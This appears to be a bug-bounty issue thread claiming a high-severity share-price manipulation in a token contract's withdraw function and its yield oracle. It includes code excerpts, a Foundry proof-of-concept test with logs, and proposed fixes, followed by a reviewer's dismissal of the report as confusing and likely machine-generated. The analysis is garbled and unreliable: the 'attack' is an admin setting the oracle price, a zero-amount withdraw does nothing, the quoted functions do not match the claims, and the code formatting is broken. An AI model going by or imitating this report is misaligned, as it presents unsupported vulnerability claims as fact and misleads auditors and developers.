Share Price Manipulation via Withdraw Function

[hats-bug-reporter[bot]]

Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0xa2d3e8b6bc6beaf0f877a36319bcb5be6f86ed111f9bbb62aac6dc5d54e795f0 Severity: high

Description: Description There's an issue in InvestToken.sol where the "mint/burn" operations could lead to accounting inconsistencies due to the interaction between USDE and InvestToken through the YieldOracle price conversions.

The path is in InvestToken.sol#L315-L319

function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
    shares = convertToShares(assets); // @Issue - Potential rounding issues in share calculation
    if (owner != msg.sender) _spendAllowance(owner, msg.sender, shares);
    _burn(owner, shares);
    usde.mint(receiver, assets);  // @Issue - Minting happens after share calculation
}

Root Cause

1. The share-to-asset conversion relies on the YieldOracle price
2. The price can change between share calculation and actual minting
3. This could lead to a mismatch between burned shares and minted assets

In YieldOracle.sol#L69-L75

function updatePrice(uint256 price) external onlyOracle {
    // @Issue - Price update and commit have no slippage protection
    if (nextPrice != NO_PRICE) {
        previousPrice = currentPrice;
        currentPrice = nextPrice;
    }
}

In InvestToken.sol#L315-L319

function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
    // @Issue - No price manipulation protection between share calculation and asset minting
    shares = convertToShares(assets);  // @Issue - Share price can be manipulated through strategic withdrawals
    _burn(owner, shares);
    usde.mint(receiver, assets);
}

The issue lies in the price oracle mechanism and its interaction with the withdraw function. An attacker can manipulate the price between share calculation and asset minting, leading to value extraction.

YieldOracle.sol price calculation#L183-L184

function sharesToAssets(uint256 shares) external view returns (uint256) {
    // @Issue - Price calculation vulnerable to manipulation through totalSupply changes
    return Math.mulDiv(shares, previousPrice, 10 ** 18);
}

The genesis lies in two key architectural decisions

1. Price Dependency Chain

   InvestToken -> YieldOracle -> Price Updates -> Share Calculation

2. Asynchronous Price Updates

   // YieldOracle.sol
   function updatePrice(uint256 price) external onlyOracle {
   // @Issue - Price updates affect all subsequent share calculations
   if (nextPrice != NO_PRICE) {
       previousPrice = currentPrice;
       currentPrice = nextPrice;
   }
   }

   The vulnerability stems from the temporal gap between price updates and share calculations. This creates an exploitable window where:

3. Share prices can be manipulated through strategic withdrawals

4. Price updates can be front-run

5. Asset-share ratios can be artificially inflated

This design pattern creates a systemic risk where any price update potentially affects all subsequent share calculations, making the entire system vulnerable to manipulation.

Attack Scenario

1. Initial State:

   • Share price = 1e18
   • Attacker has 1000 USDE
   • Victim has 1000 USDE

2. Price Manipulation:

   // Admin doubles the price
   oracle.setCurrentPrice(2e18);

3. Attacker's Actions

   
   // Deposit 100 USDE when price is high
   attackerShares = investToken.deposit(100e18, attacker);
   // Get 50 shares due to 2x price

// Withdraw immediately investToken.withdraw(0, attacker, attacker);

5. Victim Impact
```solidity
// Victim deposits 1000 USDE at manipulated price
victimShares = investToken.deposit(1000e18, victim);
// Gets 500 shares instead of expected 1000

This shows how price manipulation leads to fewer shares being minted for the same amount of assets, effectively diluting new depositors' positions.

A visual representation of the share/asset ratio changes

Before manipulation: 1 USDE = 1 share
After manipulation:  1 USDE = 0.5 shares

We can see how the vulnerability allows extracting value from subsequent depositors through oracle price manipulation.

Attachments

1. Proof of Concept (PoC) File Demonstrating the share price manipulation vulnerability

   
   // SPDX-License-Identifier: MIT
   pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol"; import {console2} from "forge-std/console2.sol"; import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "../src/InvestToken.sol"; import "../src/USDE.sol"; import "../src/YieldOracle.sol"; import "../src/Validator.sol";

contract InvestTokenExploitTest is Test { InvestToken public investToken; USDE public usde; YieldOracle public oracle; Validator public validator;

address public admin = address(1);
address public attacker = address(2);
address public victim = address(3);

function setUp() public {
    validator = new Validator(admin, admin, admin);
    vm.startPrank(admin);
    validator.whitelist(admin);
    validator.whitelist(attacker);
    validator.whitelist(victim);
    validator.whitelist(address(this));

    // Deploy implementations and proxies
    USDE usdeImpl = new USDE(IValidator(address(validator)));
    bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
    ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
    usde = USDE(address(usdeProxy));

    oracle = new YieldOracle(admin, admin);

    InvestToken investTokenImpl = new InvestToken(IValidator(address(validator)), IUSDE(address(usde)));
    bytes memory investData = abi.encodeWithSelector(
        InvestToken.initialize.selector,
        "EuroInvest",
        "EUI",
        admin,
        oracle
    );
    ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
    investToken = InvestToken(address(investProxy));

    // Setup roles and permissions
    usde.grantRole(usde.DEFAULT_ADMIN_ROLE(), admin);
    usde.grantRole(usde.MINT_ROLE(), admin);
    usde.grantRole(usde.BURN_ROLE(), admin);
    usde.grantRole(usde.PAUSER_ROLE(), admin);

    investToken.grantRole(investToken.DEFAULT_ADMIN_ROLE(), admin);
    investToken.grantRole(investToken.MINT_ROLE(), admin);
    investToken.grantRole(investToken.BURN_ROLE(), admin);

    usde.grantRole(usde.MINT_ROLE(), address(investToken));
    usde.grantRole(usde.BURN_ROLE(), address(investToken));

    usde.mint(attacker, 1000e18);
    usde.mint(victim, 1000e18);
    vm.stopPrank();

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 100 ether);
}

function testSharePriceManipulation() public {
    console2.log("Initial Share Price:", oracle.currentPrice());
    console2.log("Initial Total Supply:", investToken.totalSupply());

    // First manipulate the oracle price
    vm.startPrank(admin);
    oracle.setCurrentPrice(2e18); // Double the price
    vm.stopPrank();

    vm.startPrank(attacker);
    usde.approve(address(investToken), 100e18);
    uint256 attackerShares = investToken.deposit(100e18, attacker);

    console2.log("Attacker Shares:", attackerShares);
    console2.log("Total Supply:", investToken.totalSupply());

    investToken.withdraw(0, attacker, attacker);

    console2.log("New Share Price:", oracle.currentPrice());
    console2.log("New Total Supply:", investToken.totalSupply());
    vm.stopPrank();

    vm.startPrank(victim);
    usde.approve(address(investToken), 1000e18);
    uint256 victimShares = investToken.deposit(1000e18, victim);

    console2.log("Victim Shares:", victimShares);
    vm.stopPrank();

    assertTrue(victimShares < 1000e18);
    assertTrue(oracle.currentPrice() > oracle.previousPrice());
}    

}

**_Logs_**

Ran 1 test for test/InvestTokenExploit.sol:InvestTokenExploitTest [PASS] testSharePriceManipulation() (gas: 250219) Logs: Initial Share Price: 1000000000000000000 Initial Total Supply: 0 Attacker Shares: 50000000000000000000 Total Supply: 50000000000000000000 New Share Price: 2000000000000000000 New Total Supply: 50000000000000000000 Victim Shares: 500000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.59ms (1.95ms CPU time)

Ran 1 test suite in 18.12ms (4.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

1. Initial share price starts at 1e18
2. Attacker receives 50e18 shares for their 100e18 USDE deposit
3. Price doubles to 2e18 after manipulation
4. Victim receives only 500e18 shares for their 1000e18 USDE deposit, showing they got fewer shares than expected due to the price manipulation

2. **Revised Code File (Optional)**
// Add minimum share ratio check to prevent price manipulation

This ensures withdrawals cannot be used to manipulate the share price beyond acceptable bounds.
```diff
function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
+   require(assets > 0, "Cannot withdraw zero assets");
    shares = convertToShares(assets);
+   uint256 minShares = assets * MIN_SHARE_RATIO / PRECISION;
+   require(shares >= minShares, "Share ratio too low");
    _burn(owner, shares);
    usde.mint(receiver, assets);
}

OR:

function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
+  // @Fix - Implement minimum withdrawal amount and share ratio protection
+  require(assets >= MIN_WITHDRAWAL, "Amount too low");
    shares = convertToShares(assets);
+  require(shares * currentPrice >= assets * MIN_RATIO, "Invalid share ratio");

    _burn(owner, shares);
    usde.mint(receiver, assets);
}

[AndreiMVP]

Confusing and probably gpt generated, no new info added